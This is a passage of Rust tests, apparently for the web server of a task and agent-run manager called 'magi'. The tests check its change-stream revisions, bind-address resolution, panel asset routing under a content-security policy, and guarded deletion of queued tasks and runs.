19154            .expect("a data line");
19155        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
19156        assert!(
19157            payload["queue_rev"].is_u64()
19158                && payload["runs_rev"].is_u64()
19159                && payload["questions_rev"].is_u64()
19160                && payload["talks_rev"].is_u64()
19161                && payload["notifications_rev"].is_u64()
19162                && payload["loop_rev"].is_u64(),
19163            "the client needs one revision per store to know what to refetch, \
19164             and `talks_rev` is the only notification a standing talk gets - a \
19165             phone whose radio slept through a turn learns about it here, as \
19166             does one whose operator started the loop from another device: \
19167             {payload}"
19168        );
19169
19170        // The front end re-polls health on a timer and on wake, and takes the
19171        // revisions from that answer whenever the stream is not up. So health
19172        // has to carry every key the stream carries: a phone on a link that
19173        // will not hold an SSE connection is exactly the phone that must still
19174        // notice a question, and a missing key there is not a 500 but a UI
19175        // that quietly stops updating.
19176        let health = f.get("/api/health").await.json();
19177        for key in [
19178            "queue_rev",
19179            "runs_rev",
19180            "questions_rev",
19181            "talks_rev",
19182            "notifications_rev",
19183            "loop_rev",
19184        ] {
19185            assert!(
19186                health[key].is_u64(),
19187                "health is the change stream's fallback and is missing `{key}`: {health}"
19188            );
19189        }
19190    }
19191
19192    #[tokio::test]
19193    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
19194        let f = Fixture::start().await;
19195        let before = f.get("/api/health").await.json()["talks_rev"]
19196            .as_u64()
19197            .expect("talks_rev");
19198
19199        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
19200        std::thread::sleep(Duration::from_millis(10));
19201        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
19202        on_disk.turns.push(crate::talk::Turn {
19203            sender: None,
19204            breaks: Some(Vec::new()),
19205            messages: Vec::new(),
19206            posted_by: None,
19207            who: crate::talk::Who::Operator,
19208            body: "a new turn".to_owned(),
19209            at: Timestamp::now(),
19210            attachments: Vec::new(),
19211            usage: None,
19212        });
19213        f.talks().put(&mut on_disk).expect("record a turn");
19214
19215        let after = f.get("/api/health").await.json()["talks_rev"]
19216            .as_u64()
19217            .expect("talks_rev");
19218        assert_ne!(
19219            before, after,
19220            "a phone must be able to notice a talk's reply without polling every store"
19221        );
19222    }
19223
19224    #[test]
19225    fn bind_reads_back_from_the_spelling_the_cli_prints() {
19226        // The CLI shows the default in `--help` and parses whatever comes
19227        // back, so the two directions have to agree or `--bind auto` breaks
19228        // the moment someone copies the help text.
19229        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
19230            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
19231        }
19232        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
19233        assert!("everywhere".parse::<Bind>().is_err());
19234    }
19235
19236    #[test]
19237    fn an_explicit_bind_address_is_taken_verbatim() {
19238        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
19239
19240        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
19241
19242        assert_eq!(addr, asked);
19243        assert!(
19244            warning.is_none(),
19245            "an operator who named an address gets no lecture"
19246        );
19247    }
19248
19249    #[test]
19250    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
19251        let (addr, warning) = resolve_bind(&Bind::Auto);
19252
19253        // This has to hold on a CI runner with no `tailscale` and on a dev box
19254        // with one, so the invariant asserted is the one shared by both
19255        // outcomes: the address is either a real tailnet address offered
19256        // without comment, or loopback with an explanation. What must never
19257        // happen is a silent fallback - an operator told "listening on
19258        // 127.0.0.1" with no reason would go looking for a firewall.
19259        match addr {
19260            IpAddr::V4(ip) if is_tailnet(&ip) => {
19261                assert!(warning.is_none(), "a tailnet address needs no warning");
19262            }
19263            other => {
19264                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
19265                let warning = warning.expect("a fallback has to explain itself");
19266                assert!(
19267                    warning.contains("127.0.0.1") && warning.contains("local-only"),
19268                    "the warning says what happened and what it costs: {warning}"
19269                );
19270            }
19271        }
19272    }
19273
19274    #[test]
19275    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
19276        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
19277        // boundary cases are what stop us binding to some other tool's idea of
19278        // an address.
19279        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
19280        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
19281        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
19282        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
19283        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
19284    }
19285
19286    #[test]
19287    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
19288        let ids = vec![
19289            "20260902-140501-aaaa".to_owned(),
19290            "20260902-140502-aabb".to_owned(),
19291        ];
19292
19293        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
19294        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
19295        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
19296
19297        assert_eq!(missing.status, StatusCode::NOT_FOUND);
19298        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
19299        assert_eq!(short, "20260902-140502-aabb");
19300    }
19301    #[tokio::test]
19302    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
19303        // The prompt tells agents to reference attachments by bare filename.
19304        // A document served at `.../panel` resolves `shot.png` against its own
19305        // directory, i.e. `.../shot.png`, which is not the asset route - so a
19306        // panel written exactly as instructed showed broken images. Caught by
19307        // looking at a real one in a browser, not by reading the code.
19308        let fx = Fixture::start().await;
19309        let id = panel(
19310            &fx,
19311            "<img src=\"shot.png\">",
19312            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
19313        );
19314
19315        // The frame's own URL ends in a filename, so its siblings are reachable.
19316        let doc = fx
19317            .get(&format!("/api/questions/{id}/panel/index.html"))
19318            .await;
19319        assert_eq!(doc.status, 200, "{}", doc.body);
19320        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
19321
19322        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
19323        assert_eq!(sibling.status, 200, "{}", sibling.body);
19324        assert_eq!(sibling.header("content-type"), Some("image/png"));
19325        assert_eq!(
19326            sibling.header("content-security-policy"),
19327            Some(PANEL_CSP),
19328            "the sibling route must carry the same policy as the asset route"
19329        );
19330
19331        // The original spelling keeps working: HEAD on it is how the front end
19332        // decides whether to mount a frame at all.
19333        assert_eq!(
19334            fx.head(&format!("/api/questions/{id}/panel")).await.status,
19335            200
19336        );
19337    }
19338
19339    #[test]
19340    fn delta_stamps_cover_add_update_remove_and_noop() {
19341        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
19342        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
19343        let delta = diff_stamps(&before, &after, 42);
19344        assert_eq!(delta.base, 42);
19345        assert_eq!(delta.changed, ["b", "c"]);
19346        assert_eq!(delta.removed, ["a"]);
19347        let same = diff_stamps(&after, &after, 43);
19348        assert!(same.changed.is_empty() && same.removed.is_empty());
19349        assert_ne!(stamps_revision(&before), stamps_revision(&after));
19350        let nanos: Stamps = [("b".into(), (2, 20))].into();
19351        let same_ms: Stamps = [("b".into(), (3, 20))].into();
19352        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
19353        assert_eq!(stamps_revision(&Stamps::new()), 0);
19354    }
19355
19356    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
19357        std::fs::create_dir_all(home.join("runs")).unwrap();
19358        Arc::new(Ui::new(
19359            Queue::at(home.join("queue")),
19360            Questions::at(home.join("questions")),
19361            Talks::at(home.join("talks")),
19362            home.join("runs"),
19363            home.to_owned(),
19364            PathBuf::from("/repo/magi"),
19365        ))
19366    }
19367
19368    #[tokio::test]
19369    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
19370        let home = TempDir::new().unwrap();
19371        let ui = delta_test_ui(home.path());
19372        let mut task = Task::new(
19373            "stream task".into(),
19374            "text".into(),
19375            PathBuf::from("/repo"),
19376            Source::Human,
19377        );
19378        ui.queue.put(&mut task).unwrap();
19379        let response = events(State(ui.clone())).await.into_response();
19380        let mut stream = response.into_body().into_data_stream();
19381        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
19382            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
19383                .await
19384                .unwrap()
19385                .unwrap()
19386                .unwrap();
19387            let text = String::from_utf8(chunk.to_vec()).unwrap();
19388            let data = text
19389                .lines()
19390                .find_map(|line| {
19391                    line.strip_prefix("data: ")
19392                        .or_else(|| line.strip_prefix("data:"))
19393                })
19394                .unwrap();
19395            serde_json::from_str(data).unwrap()
19396        }
19397        let initial = change(&mut stream).await;
19398        assert!(initial.get("queue_delta").is_none());
19399        task.instruction.push_str(" changed");
19400        ui.queue.put(&mut task).unwrap();
19401        let updated = change(&mut stream).await;
19402        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
19403        assert_eq!(
19404            updated["queue_delta"]["changed"],
19405            serde_json::json!([task.id])
19406        );
19407        assert_eq!(
19408            updated["queue_rev"].as_u64(),
19409            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
19410        );
19411        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
19412        let removed = change(&mut stream).await;
19413        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
19414        assert_eq!(
19415            removed["queue_delta"]["removed"],
19416            serde_json::json!([task.id])
19417        );
19418    }
19419
19420    #[tokio::test]
19421    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
19422        let home = TempDir::new().unwrap();
19423        let ui = delta_test_ui(home.path());
19424        let queue = ui.queue.clone();
19425        let query = |ids: Option<&str>| {
19426            Query(ListQuery {
19427                limit: Some(2),
19428                ids: ids.map(str::to_owned),
19429            })
19430        };
19431        let mut root = Task::new(
19432            "root".into(),
19433            "instruction".into(),
19434            PathBuf::from("/repo"),
19435            Source::Human,
19436        );
19437        queue.put(&mut root).unwrap();
19438        let mut blocked = Task::new(
19439            "blocked".into(),
19440            "instruction".into(),
19441            PathBuf::from("/repo"),
19442            Source::Human,
19443        );
19444        blocked.block(vec![root.id.clone()], None);
19445        queue.put(&mut blocked).unwrap();
19446        let whole =
19447            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
19448                .unwrap();
19449        let subset = serde_json::to_value(
19450            queue_list(State(ui.clone()), query(Some(&root.id)))
19451                .await
19452                .unwrap()
19453                .0,
19454        )
19455        .unwrap();
19456        assert_eq!(whole, subset, "requested root plus its blocked dependent");
19457        let blockers = serde_json::to_value(
19458            queue_list(State(ui.clone()), query(Some("")))
19459                .await
19460                .unwrap()
19461                .0,
19462        )
19463        .unwrap();
19464        assert_eq!(blockers.as_array().unwrap().len(), 1);
19465        assert_eq!(blockers[0]["id"], blocked.id);
19466        assert_eq!(
19467            blockers[0]["waits_on"],
19468            whole
19469                .as_array()
19470                .unwrap()
19471                .iter()
19472                .find(|row| row["id"] == blocked.id)
19473                .unwrap()["waits_on"]
19474        );
19475
19476        for id in [
19477            "20260902-140501-aaaa",
19478            "20260902-140502-bbbb",
19479            "20260902-140503-cccc",
19480        ] {
19481            write_run(&ui.runs, id, RunStatus::Merged);
19482        }
19483        let old = serde_json::to_value(
19484            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19485                .await
19486                .unwrap()
19487                .0,
19488        )
19489        .unwrap();
19490        assert!(
19491            old.as_array().unwrap().is_empty(),
19492            "older updates must not enter the window"
19493        );
19494        let newest = serde_json::to_value(
19495            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19496                .await
19497                .unwrap()
19498                .0,
19499        )
19500        .unwrap();
19501        assert_eq!(newest.as_array().unwrap().len(), 1);
19502        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19503
19504        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19505        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19506        let talks = serde_json::to_value(
19507            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19508                .await
19509                .unwrap()
19510                .0,
19511        )
19512        .unwrap();
19513        assert_eq!(talks.as_array().unwrap().len(), 1);
19514        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19515        assert_eq!(
19516            serde_json::to_value(
19517                talks_list(State(ui.clone()), query(Some("")))
19518                    .await
19519                    .unwrap()
19520                    .0
19521            )
19522            .unwrap(),
19523            serde_json::json!([])
19524        );
19525    }
19526
19527    #[tokio::test]
19528    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19529    async fn delta_payload_benchmark() {
19530        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19531        let ui = delta_test_ui(&home);
19532        let query = |ids: Option<String>| {
19533            Query(ListQuery {
19534                limit: Some(50),
19535                ids,
19536            })
19537        };
19538        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19539        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19540        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19541        let queue_id = queue
19542            .iter()
19543            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19544            .unwrap_or(&queue[0])
19545            .task
19546            .id
19547            .clone();
19548        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19549            .await
19550            .unwrap()
19551            .0;
19552        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19553            .await
19554            .unwrap()
19555            .0;
19556        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19557            .await
19558            .unwrap()
19559            .0;
19560        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19561        eprintln!(
19562            "DELTA_PAYLOAD {}",
19563            serde_json::json!({
19564                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19565                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19566                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19567                "counts": [queue.len(), runs.len(), talks.len()],
19568                "blocked": queue_delta.len() - 1,
19569            })
19570        );
19571    }
19572
19573    #[test]
19574    fn runs_revision_moves_when_deleting_an_older_run() {
19575        let temp = TempDir::new().expect("tempdir");
19576        let runs = temp.path().join("runs");
19577        std::fs::create_dir_all(&runs).expect("create runs dir");
19578
19579        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19580
19581        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19582        std::thread::sleep(Duration::from_millis(10));
19583        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19584
19585        let rev_before = runs_revision(&runs);
19586        assert!(rev_before > 0);
19587
19588        let old_dir = runs.join("20260901-100000-old1");
19589        std::fs::remove_dir_all(&old_dir).expect("remove old run");
19590
19591        let rev_after = runs_revision(&runs);
19592        assert_ne!(
19593            rev_before, rev_after,
19594            "deleting an older run must change the revision so other clients see the deletion"
19595        );
19596    }
19597
19598    /// A run's own `run.json` on an explicit `runs` root, bypassing the
19599    /// process-global home entirely — `RunState::save` writes through
19600    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
19601    /// (see `tests::home_lock` in the integration suite for why).
19602    fn write_state(runs: &FsPath, state: &RunState) {
19603        let dir = runs.join(&state.id);
19604        std::fs::create_dir_all(&dir).expect("run dir");
19605        std::fs::write(
19606            dir.join("run.json"),
19607            serde_json::to_string_pretty(state).expect("serialize run"),
19608        )
19609        .expect("write run.json");
19610    }
19611
19612    /// A seat starting or finishing is a write to `run.json` like any other,
19613    /// so it moves the same revision the change stream already watches —
19614    /// nothing new for `/api/events` to learn, but the property this feature
19615    /// depends on to reach the phone without a poll.
19616    #[test]
19617    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19618        let temp = TempDir::new().expect("tempdir");
19619        let runs = temp.path().join("runs");
19620        std::fs::create_dir_all(&runs).expect("create runs dir");
19621        let mut state = RunState::new(
19622            PathBuf::from("/repo/magi"),
19623            "main".to_owned(),
19624            "0123456789abcdef".to_owned(),
19625            "task".to_owned(),
19626            Config::default(),
19627        );
19628        state.id = "20260902-100000-c0de".to_owned();
19629        write_state(&runs, &state);
19630
19631        let rev_idle = runs_revision(&runs);
19632        std::thread::sleep(Duration::from_millis(10));
19633        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19634        write_state(&runs, &state);
19635        let rev_started = runs_revision(&runs);
19636        assert_ne!(
19637            rev_idle, rev_started,
19638            "a seat starting must move the revision"
19639        );
19640
19641        std::thread::sleep(Duration::from_millis(10));
19642        state.seat_finished("judge-1");
19643        write_state(&runs, &state);
19644        let rev_finished = runs_revision(&runs);
19645        assert_ne!(
19646            rev_started, rev_finished,
19647            "and clearing it again must move the revision a second time"
19648        );
19649    }
19650
19651    #[tokio::test]
19652    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19653        // `TaskView` flattens `Task`, so this is really asserting that
19654        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
19655        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
19656        // never touched web.rs, so nothing here caught it if it had.
19657        let fx = Fixture::start().await;
19658        let q = fx.queue();
19659
19660        let mut t = Task::new(
19661            "Task".to_owned(),
19662            "Instruction".to_owned(),
19663            PathBuf::from("/repo"),
19664            Source::Human,
19665        );
19666        t.block(
19667            vec!["20260101-000000-dead".to_owned()],
19668            Some("waiting on Task 1".to_owned()),
19669        );
19670        t.answers.push(crate::queue::AnsweredQuestion {
19671            question: "Which backend?".to_owned(),
19672            answer: "SQLite".to_owned(),
19673        });
19674        q.put(&mut t).expect("put t");
19675
19676        let res = fx.get("/api/queue").await;
19677        assert_eq!(res.status, 200);
19678        let list = res.json();
19679        let view = list
19680            .as_array()
19681            .expect("array")
19682            .iter()
19683            .find(|v| v["id"] == t.id)
19684            .expect("task in list");
19685        assert_eq!(view["status_str"], "blocked");
19686        assert_eq!(
19687            view["blocked_by"],
19688            serde_json::json!(["20260101-000000-dead"])
19689        );
19690        assert_eq!(view["block_reason"], "waiting on Task 1");
19691        assert_eq!(view["answers"][0]["question"], "Which backend?");
19692        assert_eq!(view["answers"][0]["answer"], "SQLite");
19693
19694        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
19695        // but never `answers` - that is a settled decision, not state
19696        // describing the current block, so it survives.
19697        let res = fx
19698            .post(&format!("/api/queue/{}/hold", t.short()), None)
19699            .await;
19700        assert_eq!(res.status, 200);
19701        let held = res.json();
19702        assert_eq!(held["status_str"], "held");
19703        assert_eq!(held["blocked_by"], serde_json::json!([]));
19704        assert!(held["block_reason"].is_null());
19705        assert_eq!(held["answers"][0]["answer"], "SQLite");
19706    }
19707
19708    #[tokio::test]
19709    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19710        let fx = Fixture::start().await;
19711        let q = fx.queue();
19712        let mk = |title: &str| {
19713            Task::new(
19714                title.to_owned(),
19715                "Instruction".to_owned(),
19716                PathBuf::from("/repo"),
19717                Source::Human,
19718            )
19719        };
19720        let mut root = mk("root");
19721        root.hold_manual(Some("waiting".to_owned()));
19722        q.put(&mut root).unwrap();
19723        let mut mid = mk("mid");
19724        mid.block(vec![root.id.clone()], None);
19725        q.put(&mut mid).unwrap();
19726        let mut leaf = mk("leaf");
19727        leaf.block(vec![mid.id.clone()], None);
19728        q.put(&mut leaf).unwrap();
19729
19730        let list = fx.get("/api/queue").await.json();
19731        let find = |id: &str| {
19732            list.as_array()
19733                .unwrap()
19734                .iter()
19735                .find(|v| v["id"] == id)
19736                .unwrap()
19737                .clone()
19738        };
19739        let leaf_view = find(&leaf.id);
19740        assert_eq!(
19741            leaf_view["waits_on"],
19742            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19743        );
19744        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19745        assert_eq!(
19746            find(&mid.id)["waits_on"],
19747            serde_json::json!([format!("{} (held)", root.short())])
19748        );
19749        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19750    }
19751
19752    #[tokio::test]
19753    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19754        let fx = Fixture::start().await;
19755        let q = fx.queue();
19756
19757        // 1. A queued task with runs attached can be deleted.
19758        let mut t1 = Task::new(
19759            "Task 1".to_owned(),
19760            "Instruction 1".to_owned(),
19761            PathBuf::from("/repo"),
19762            Source::Human,
19763        );
19764        let run_id = "20260901-000000-r111";
19765        t1.runs.push(run_id.to_owned());
19766        write_run(&fx.runs(), run_id, RunStatus::Merged);
19767        q.put(&mut t1).expect("put t1");
19768
19769        // Delete by short id
19770        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19771        assert_eq!(res.status, 204);
19772        assert!(res.body.is_empty(), "204 No Content has no body");
19773        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19774        assert!(
19775            fx.runs().join(run_id).exists(),
19776            "run directory must not be deleted when its task is deleted"
19777        );
19778
19779        // 2. A task a live daemon is running is refused with 409.
19780        let mut t2 = Task::new(
19781            "Task 2".to_owned(),
19782            "Instruction 2".to_owned(),
19783            PathBuf::from("/repo"),
19784            Source::Human,
19785        );
19786        t2.status = TaskStatus::Running;
19787        q.put(&mut t2).expect("put t2");
19788        let mut beat = crate::daemon::Status::new();
19789        beat.current = vec![crate::daemon::Current {
19790            task: t2.id.clone(),
19791            run: "20260901-000000-r222".to_owned(),
19792        }];
19793        beat.updated_at = jiff::Timestamp::now();
19794        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19795            .expect("publish a heartbeat");
19796        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19797        assert_eq!(res.status, 409);
19798        assert!(
19799            res.json()["error"]
19800                .as_str()
19801                .unwrap()
19802                .contains("live daemon")
19803        );
19804        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19805
19806        // 3. The same `running` status and an orphaned lock, with no daemon
19807        // behind either, is a leftover and deletable. Before this the phone
19808        // refused it for good: the status never changes on its own and
19809        // nothing drops a lock whose process is gone.
19810        // The daemon is killed: the file stays, the heartbeat stops.
19811        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19812        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19813            .expect("leave a stale heartbeat");
19814        let mut t3 = Task::new(
19815            "Task 3".to_owned(),
19816            "Instruction 3".to_owned(),
19817            PathBuf::from("/repo"),
19818            Source::Human,
19819        );
19820        t3.status = TaskStatus::Running;
19821        q.put(&mut t3).expect("put t3");
19822        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19823        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19824        assert_eq!(res.status, 204);
19825        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19826        assert!(
19827            q.claim(&t3.id).is_ok(),
19828            "the stale lock went with it, so the id is claimable again"
19829        );
19830
19831        // 4. Missing id returns 404
19832        let res = fx.delete("/api/queue/nonexistent").await;
19833        assert_eq!(res.status, 404);
19834    }
19835
19836    #[tokio::test]
19837    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19838        let fx = Fixture::start().await;
19839        let runs = fx.runs();
19840
19841        // 1. Finished and folded run can be deleted along with artifacts
19842        let run_id = "20260901-000000-fold";
19843        let mut state = RunState::new(
19844            PathBuf::from("/repo"),
19845            "main".to_owned(),
19846            "abc".to_owned(),
19847            "instruction".to_owned(),
19848            Config::default(),
19849        );
19850        state.id = run_id.to_owned();
19851        state.status = RunStatus::Merged;
19852        state.candidates.push(crate::run::Candidate {
19853            index: 0,
19854            label: 'A',
19855            agent: "a".to_owned(),
19856            branch: "b".to_owned(),
19857            worktree: PathBuf::from("/w"),
19858            summary: String::new(),
19859            stat: String::new(),
19860            files: 1,
19861            commits: 1,
19862            empty: false,
19863            failed: None,
19864            verified_noop: None,
19865            duration_ms: 0,
19866            folded: true,
19867        });
19868        let dir = runs.join(run_id);
19869        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19870        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19871            .expect("write artifact");
19872        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19873            .expect("write run.json");
19874
19875        // Delete by short id
19876        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19877        assert_eq!(res.status, 204);
19878        assert!(res.body.is_empty(), "204 has no body");
19879        assert!(!dir.exists(), "run directory and artifacts must be deleted");
19880
19881        // 2. A run a live daemon is working on is refused with 409. The
19882        // heartbeat is what makes it refusable: an unfinished run with no
19883        // daemon behind it is a leftover from a killed process, and case 1
19884        // above would otherwise be impossible to tell apart from this one.
19885        let run_running = "20260901-000000-rung";
19886        write_run(&runs, run_running, RunStatus::Prep);
19887        let mut beat = crate::daemon::Status::new();
19888        beat.current = vec![crate::daemon::Current {
19889            task: "20260901-000000-task".to_owned(),
19890            run: run_running.to_owned(),
19891        }];
19892        beat.updated_at = jiff::Timestamp::now();
19893        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19894            .expect("publish a heartbeat");
19895        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19896        assert_eq!(res.status, 409);
19897        assert!(
19898            res.json()["error"]
19899                .as_str()
19900                .unwrap()
19901                .contains("live daemon"),
19902            "the refusal must say who is holding it"
19903        );
19904        assert!(
19905            runs.join(run_running).exists(),
19906            "a run in flight keeps its directory"
19907        );
19908
19909        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
19910        let run_unfolded = "20260901-000000-unfd";
19911        let mut state2 = RunState::new(
19912            PathBuf::from("/repo"),
19913            "main".to_owned(),
19914            "abc".to_owned(),
19915            "instruction".to_owned(),
19916            Config::default(),
19917        );
19918        state2.id = run_unfolded.to_owned();
19919        state2.status = RunStatus::Ready;
19920        state2.candidates.push(crate::run::Candidate {
19921            index: 0,
19922            label: 'A',
19923            agent: "a".to_owned(),
19924            branch: "b".to_owned(),
19925            worktree: PathBuf::from("/w"),
19926            summary: String::new(),
19927            stat: String::new(),
19928            files: 1,
19929            commits: 1,
19930            empty: false,
19931            failed: None,
19932            verified_noop: None,
19933            duration_ms: 0,
19934            folded: false,
19935        });
19936        let dir2 = runs.join(run_unfolded);
19937        std::fs::create_dir_all(&dir2).expect("create dir2");
19938        std::fs::write(
19939            dir2.join("run.json"),
19940            serde_json::to_string(&state2).unwrap(),
19941        )
19942        .expect("write run.json");
19943
19944        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19945        assert_eq!(res.status, 409);
19946        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19947        assert!(dir2.exists(), "unfolded run directory is kept");
19948
19949        // 4. Missing id returns 404
19950        let res = fx.delete("/api/runs/nonexistent").await;
19951        assert_eq!(res.status, 404);
19952    }
19953
19954    /// The queue tiles on the Stats tab must render even on a home with no
19955    /// runs at all: queue state is not derived from run history, so hiding
19956    /// the whole dashboard body behind "no runs yet" would drop the one
19957    /// thing this tab promises unconditionally (queued/running/held/done).
19958    /// A DOM-level test would need a browser this suite does not have, so
19959    /// this pins the same invariant textually: `renderStatsQueue` is called
19960    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
19961    /// block that gates the run-derived panels.
19962    #[test]
19963    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19964        let start = APP_JS
19965            .find("function renderStats() {")
19966            .expect("renderStats");
19967        let end = start
19968            + APP_JS[start..]
19969                .find("function statsTile(")
19970                .expect("the next top-level function");
19971        let body = &APP_JS[start..end];
19972
19973        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19974        let gate_end = gate_start
19975            + body[gate_start..]
19976                .find("}\n  renderStatsQueue")
19977                .expect("the gate's own closing brace, right before the unconditional call");
19978        let gated = &body[gate_start..gate_end];
19979
19980        assert_eq!(
19981            body.matches("renderStatsQueue(").count(),
19982            1,
19983            "renderStats must call renderStatsQueue exactly once: {body}"
19984        );
19985        assert!(
19986            !gated.contains("renderStatsQueue"),
19987            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19988             run-derived panels on an empty run history - the queue panel has to render \
19989             regardless: {gated}"
19990        );
19991    }
19992
19993    #[test]
19994    fn web_ui_delete_contract_in_front_end() {
19995        // 1. API block has both delete endpoints
19996        assert!(APP_JS.contains("deleteRun:"));
19997        assert!(APP_JS.contains("deleteTask:"));
19998
19999        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20000        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20001            ..APP_JS.find("function renderRuns").unwrap()];
20002        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20003
20004        // 3. Run detail has delete entry and reasons
20005        assert!(APP_JS.contains("renderRunDelete"));
20006        assert!(APP_JS.contains("runDeleteReason"));
20007        assert!(APP_JS.contains("magi fold"));
20008        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20009
20010        // 4. Two-step delete arming and focus on Cancel
20011        assert!(APP_JS.contains("cancel.focus"));
20012        assert!(APP_JS.contains("armedRunDelete"));
20013        assert!(APP_JS.contains("renderTaskDeleteBox"));
20014        assert!(APP_JS.contains("armed${cap(key)}"));
20015
20016        // 5. Running task has disabled delete
20017        assert!(APP_JS.contains("disabled: status === \"running\""));
20018    }
20019
20020    /// Every element a run card's updater reaches for must be in the `refs`
